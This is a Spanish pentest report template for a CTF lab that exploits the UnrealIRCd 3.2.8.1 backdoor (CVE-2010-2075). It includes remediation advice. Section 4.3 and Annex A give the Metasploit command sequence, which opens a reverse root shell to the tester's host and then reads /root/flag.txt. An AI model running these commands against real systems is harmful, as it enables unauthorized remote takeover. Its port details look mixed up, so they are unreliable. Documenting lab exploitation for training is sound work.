**REPORTE DE PENTESTING - CTF LAB  
(UnrealIRCd 3.2.8.1 – CVE-2010-2075)**

**Fecha:** [dd/mm/aaaa] **Pentester:** [Tu nombre] **Objetivo (IP):** [X.X.X.X]

Este documento es una plantilla profesional para documentar actividades de pentesting/CTF. Actualice la información entre corchetes y agregue evidencias y hallazgos según corresponda.

# Tabla de contenido

<<Actualice campos en Word: clic derecho → Actualizar campo>>

# 1. Resumen ejecutivo

Se logró acceso root completo a la máquina objetivo mediante la explotación del backdoor conocido en UnrealIRCd 3.2.8.1 (CVE-2010-2075). La bandera fue capturada exitosamente. La severidad global del hallazgo es CRÍTICA debido a la facilidad de explotación y al impacto total en confidencialidad, integridad y disponibilidad.

Severidad general: **CRÍTICA**

# 2. Alcance y metodología

## 2.1 Alcance

• Activo evaluado: [Nombre del host / IP]  
• Ventana de pruebas: [Fechas]  
• Técnicas permitidas: [Escaneo, explotación controlada, recolección de evidencia]  
• Exclusiones: [Servicios / rangos fuera de alcance]

## 2.2 Metodología

La evaluación siguió un enfoque basado en buenas prácticas (PTES/NIST SP 800-115):  
1) Reconocimiento, 2) Enumeración, 3) Explotación, 4) Post-explotación, 5) Reporte y remediación.

# 3. Vulnerabilidades encontradas

## 3.1 Backdoor en UnrealIRCd 3.2.8.1

|  |  |
| --- | --- |
| Puerto | 6200/TCP |
| Servicio | UnrealIRCd 3.2.8.1 |
| CVE | CVE-2010-2075 |
| Severidad | CRÍTICA (CVSS 10.0) |
| Descripción | El binario comprometido de UnrealIRCd 3.2.8.1 contiene un backdoor que permite ejecución de comandos remota sin autenticación. |
| Impacto | • Ejecución remota de código • Compromiso total del sistema • Acceso root inmediato • Pérdida de confidencialidad, integridad y disponibilidad |

# 4. Pasos de explotación

## 4.1 Reconocimiento

### Comando:

ping -c 4 [IP]

Resultado: Host activo y alcanzable.

## 4.2 Escaneo

### Comandos sugeridos:

nmap -sV -p- -T4 [IP]

Puertos abiertos esperados: 22 (SSH), 6200 (IRC).

Versión identificada: UnrealIRCd 3.2.8.1.

## 4.3 Explotación

### Herramienta y módulo:

metasploit → exploit/unix/irc/unreal\_ircd\_3281\_backdoor

### Payload sugerido:

cmd/unix/reverse

Resultado esperado: Shell con privilegios de root.

## 4.4 Post-explotación

### Verificación:

whoami → root

Bandera: /root/flag.txt

# 5. Evidencia

Bandera capturada (ejemplo):

CTF{un3374l\_b4ckd00r\_pwn3d\_20241029}

Inserte capturas de pantalla como imágenes debajo de cada título.

• Escaneo nmap mostrando puerto 6200

• Ejecución de exploit en Metasploit exitosa

• Comando whoami → root

• Contenido de flag.txt

# 6. Recomendaciones de remediación

## 6.1 Inmediatas (Críticas)

☐ Desactivar UnrealIRCd 3.2.8.1 de inmediato:

sudo systemctl stop unrealircd

☐ Actualizar a la última versión estable (UnrealIRCd 6.x).

☐ Verificar integridad del sistema: revisar logs, buscar backdoors, rotar credenciales.

## 6.2 Corto plazo (Alta prioridad)

☐ Endurecer firewall: permitir solo tráfico necesario; bloquear 6200 desde Internet.

☐ Implementar IDS/IPS (p.ej., Suricata/Snort) con reglas para detectar este exploit.

☐ Mínimo privilegio: evitar que servicios corran como root; usar cuentas dedicadas.

## 6.3 Largo plazo (Mejores prácticas)

☐ Gestión de parches: proceso regular de actualización; monitoreo de CVEs.

☐ Segmentación de red: DMZ para servicios expuestos; separación de entornos.

☐ Auditorías periódicas: pentesting anual, revisiones de código, escaneos mensuales.

☐ Concienciación: capacitación continua del equipo técnico.

# 7. Referencias técnicas

• CVE‑2010‑2075: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075

• Exploit‑DB: https://www.exploit-db.com/exploits/13853

• Módulo Metasploit: https://www.rapid7.com/db/modules/exploit/unix/irc/unreal\_ircd\_3281\_backdoor/

# 8. Conclusión

El sistema objetivo presenta vulnerabilidades críticas que permiten compromiso total del servidor. La explotación es trivial y no requiere autenticación. Se recomienda ejecutar acciones de remediación inmediatas y establecer controles preventivos duraderos.

Nivel de riesgo global: **CRÍTICO**

Facilidad de explotación: **TRIVIAL**

Impacto: **MÁXIMO**

# Anexo A. Comandos ejecutados

### Reconocimiento:

ping -c 4 [IP]

### Escaneo:

nmap -sV -p- -T4 [IP]

### Explotación (Metasploit):

msfconsole  
use exploit/unix/irc/unreal\_ircd\_3281\_backdoor  
set RHOSTS [IP]  
set RPORT 6200  
set PAYLOAD cmd/unix/reverse  
set LHOST [Tu\_IP]  
set LPORT [Tu\_Puerto]  
run

### Post-explotación:

whoami  
cat /root/flag.txt

# Anexo B. Limpieza de la sesión (CTF / Opcional)

### Salir de la shell:

exit

### Salir de Metasploit:

exit

Nota: En entornos reales, siga buenas prácticas de 'covering tracks' únicamente con autorización explícita en el alcance.

# Firmas

Pentester responsable: \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ Fecha: \_\_\_\_/\_\_\_\_/\_\_\_\_\_\_\_\_

Aprobación del cliente: \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ Fecha: \_\_\_\_/\_\_\_\_/\_\_\_\_\_\_\_\_